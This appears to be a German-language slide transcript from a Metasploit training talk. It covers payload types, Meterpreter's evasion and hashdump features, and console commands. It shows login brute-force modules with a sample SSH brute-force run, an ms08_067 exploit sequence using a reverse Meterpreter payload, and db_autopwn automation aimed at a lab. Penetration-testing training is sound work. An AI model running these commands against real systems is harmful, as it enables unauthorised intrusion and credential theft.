Metasploit Framework Unleashed beyond Metasploit

Transkript

1 Metasploit Framework Unleashed beyond Metasploit

2 << Content << Penetration Tests vs. Vulnerability Scanning Exploiting Frameworks Metasploit History Payloads Bind- vs. Reverse Shell Meterpreter MSF in der Anwendung Benutzeroberflächen Scanning (Auxiliary Modules) Datenbanken Passwörter Teil 1 Automatisiertes Hacking Ausblicke

3 << Intro << Vulnerability Scans / Vulnerability Management Technische IT-Sicherheitsüberprüfungen ausgewählter/aller Systeme/(Anwendungen) Automatisierte Prüfungen Compliance (z.b. PCI 4 x Jährlich) Pentests Technische IT-Sicherheitsüberprüfungen ausgewählter/aller Systeme/Anwendungen Simulation eines Angreifers Manuelle und automatisierte Prüfung Kombination mehrerer Schwachstellen Eskalationskette Darstellung des realen Bedrohungsszenarios Compliance (z.b. PCI 1 x Jährlich)

4 << Intro << Was umfassen Exploiting Frameworks? Vulnerability Scanner Meist durch Schnittstellen zu externen Produkten realisiert Passwort Scanner Portscanner Service Scanner Exploits ;) Shells/Payloads (Reverse/Bind/HTTP(S)/DNS ) Agents (persistent/non persistent) Zentrale Management Konsole Scriptingfunktionalität Versch. Automatisierungsmechanismen Fuzzer und weitere Research Möglichkeiten

5 << Intro << Vorteile ~ umfangreiches Framework Einheitlich Getestet Verlässlich Automatisiert Nachteile ~ umfangreiches Framework Einheitlich Getestet Verlässlich Automatisiert Out of the box thinking? Kreativität des Testers? Know How des Testers? Werkzeug für N00bs? und Scriptkiddies?

6 << Frameworks << Core Impact von Core Security Canvas von Immunity Metasploit von Rapid 7

7 << Core Impact <<

8 << Core Impact << drag & drop

9 << Core Impact << Hilfestellung:

10 << Canvas <<

11 << History << 2003 Gründung durch HD Moore V Exploits V2.0 Framework wurde neu geschrieben (Perl) V2.2 Meterpreter V Module, Zeilen Sourcecode V3.0 Ruby V Module, Zeilen Sourcecode V Module, Zeilen Sourcecode Ende 2009 Übernahme durch Rapid 7 V3.3 - ~800 Module, ~ Zeilen Sourcecode, Rapid7 Juni 2010 V3.4 Metasploit Express (Support/Kommerzielle GUI/3k$) Metasploit wird erwachsen

12 << Everywhere<< Metasploit everywhere Linux Windows Mac OS X BSD OpenWRT IPhone/IPod Touch

13 << Payloads << Bind Payload Exploit Payload Connection Bind Shell Bad Guy

14 << Payloads << Bind Payload broken Exploit Payload Connection Bind Shell Bad Guy

15 << Payloads << Reverse Payloads Exploit Payload Connection Bad Guy

16 << Meterpreter << Verschlüsselte Verbindung (SSLv3) Viel Spaß dem IDS Läuft ausschließlich im Arbeitsspeicher Viel Spaß dem Forensiker AV Evading Viel Spaß dem Virenscanner Upload/Download Files In andere Prozesse migrieren Systeminfos - ps/getuid/migrate/getpid Meterpreter Scripte hashdump Automatisierter Post Exploiting Vorgang (run winenum)

17 << Install << Auf Backtrack wget work linux-i686.run Backup erstellen ls -d /opt/metasploit3* /opt/metasploit33-stable /opt/metasploit334 /opt/metasploit331 /opt/metasploit341 /opt/metasploit333 /opt/metasploit34-stable./framework linux-i686.run und gut is Linux allgemein ork/wiki/install_linux

18 << Update << [*] [*] Attempting to update the Metasploit Framework... [*] Updated to revision svn update At revision

19 << MSFWeb<< Wird nicht weiter gepflegt Buggy Gut für einfache Demonstrationen Gut für Dokumentationen Im Oktober aus MSF entfernt

20 << MSFWeb<< /opt/metasploit34-stable/msf3/msfweb -h [*] Warning: As of Metasploit 3.3 this interface is no longer supported: Usage: msfweb <options> OPTIONS: -a <opt> Bind to this IP address instead of loopback -d Daemonize the web server -h Help banner -p <opt> Bind to this port instead of s Automatically open the browser

21 << MSFGUI<< Wird nicht weiter gepflegt Buggy Gut für einfache Demonstrationen Gut für Dokumentationen Im Juli aus MSF entfernt und durch eine neue GUI ersetzt!

22 << MSFGUI<< Neue gui

23 << MSFCLI<<

24 << Express << Support Webgui Optimierter Pentesting Workflow Integration weiterer Tools und Scanner Automatisierung rockt

25 << Express <<

26 << CONSOLE <<

27 << CONSOLE << msf > help Core Commands ============= Command Description ? Help menu back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory color Toggle color connect Communicate with a host exit Exit the console help Help menu info Displays information about one or more module irb Drop into irb scripting mode jobs Displays and manages jobs kill kill a job load Load a framework plugin loadpath Searches for and loads modules from a path quit Exit the console resource Run the commands stored in a file route Route traffic through a session save Saves the active datastores search Searches module names and descriptions sessions Dump session listings and display information about sessions set Sets a variable to a value <snip>

28 << Scanning << connect check scanner/snmp/community scanner/smb/smb_login scanner/smb/smb_version scanner/smb/smb_enumusers scanner/smb/smb_enumshares auxiliary/gather/dns_enum auxiliary/scanner/discovery/arp_sweep scanner/vnc/vnc_none_auth Nur ein sehr kleiner Auszug aller verfügbaren Module msf > search -t auxiliary server/browser_autopwn Aber das ist eine andere Geschichte

29 << Scanning << Metasploit ist kein Allheilmittel! Connect - netcat, Nmap SNMP-Stuff - snmpcheck.pl, Nmap SMB Stuff - samrdump.py, Nmap dns_enum - dig usw. arp_sweep - Nmap vnc_none_auth - Nmap, MSFv2 (realvnc_41_bypass)

30 << Scanning << Passwort Fu msf > search -t auxiliary _login [*] Searching loaded modules for pattern '_login'... Auxiliary ========= Name Disclosure Date Rank Description admin/oracle/oracle_login normal Oracle Account Discovery. scanner/ftp/ftp_login normal FTP Authentication Scanner scanner/http/axis_login normal Apache Axis2 v1.4.1 Brute Force Utility scanner/http/frontpage_login normal FrontPage Server Extensions Login Utility scanner/http/http_login normal HTTP Login Utility scanner/http/tomcat_mgr_login normal Tomcat Application Manager Login Utility scanner/http/wordpress_login_enum normal Wordpress Brute Force and User Enumeration Utility scanner/lotus/lotus_domino_login normal Lotus Domino Brute Force Utility scanner/mssql/mssql_login normal MSSQL Login Utility scanner/mysql/mysql_login normal MySQL Login Utility scanner/postgres/postgres_login normal PostgreSQL Login Utility scanner/smb/smb_login normal SMB Login Check Scanner scanner/ssh/ssh_login normal SSH Login Check Scanner scanner/ssh/ssh_login_pubkey normal SSH Public Key Login Scanner scanner/telnet/telnet_login normal Telnet Login Check Scanner

31 << Scanning << Passwort Fu msf auxiliary(ssh_login) > run [*] : SSH - Starting buteforce [*] : SSH - Trying: username: 'sysadm' with password: '' [-] : SSH - Failed: 'sysadm':'' [*] : SSH - Trying: username: 'sysadm' with password: '777777' [*] Command shell session 1 opened ( : > :12345) at Mon Nov 01 17:02: [+] : SSH - Success: 'sysadm':'777777' 'uid=1000(sysadm) gid=1000(sysadm) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(sysadm) Linux pown-me #1 SMP Tue Mar 9 17:35:51 UTC 2010 i686 GNU/Linux ' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

32 << Datenbanken << msf > search -t auxiliary mssql mysql oracle postgre admin/mssql/mssql_enum admin/mssql/mssql_exec admin/mysql/mysql_enum admin/oracle/oracle_login admin/oracle/oraenum admin/oracle/sid_brute scanner/mssql/mssql_login scanner/mysql/mysql_login scanner/mysql/mysql_version admin/postgres/postgres_readfile

33 << Exploiting<< msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST LHOST => msf exploit(ms08_067_netapi) > set RHOST RHOST => msf exploit(ms08_067_netapi) > exploit

34 << auto hacking << msf > db_import db_import db_import_ip_list db_import_nessus_nbe db_import_nmap_xml db_import_amap_mlog db_import_msfe_xml db_import_nessus_xml db_import_qualys_xml msf > db_autopwn

35 << auto hacking << msf > db_driver msf > db_create [database] / db_connect msf > db_import_xyz msf > db_hosts msf > db_services msf > db_vulns msf > db_autopwn [*] Usage: db_autopwn [options] <snip> -t Show all matching exploit modules -x Select modules based on vuln. references -p Select modules based on open ports -e Launch exploits against all targets -R [rank] Only run modules with a minimal rank <snip>

36 << auto hacking << msf > db_driver msf > db_create [database] / db_connect msf > load nexpose msf > nexpose_connect <USERNAME>:<PASSWORD>@ msf > nexpose_scan msf > db_autopwn t -x

37 << Trockenübung << Metasploitable db_autopwn/msf express rockt ;) Windows XP for free ;) Fedora Core 4 Ubuntu 7.04 Alte Windows und Linux Systeme

38 << and now? << Jetzt hacking the lab Nachmittag: Fancy client sidekung fu SMTX client sidekung fu part 2 M1k3 meterpreter kung fu

39 << hacking the lab << Information is everything DNS Analyse SNMP Scans SMB Scans Portscans (Nmap/interne Module) Findet die Datenbanken Password attacks (SSH/Telnet/DB/SMB/.) Findet Systeme die auf MS anfällig sind VNC Analyse Exploitet was geht

40 << thx << Contact: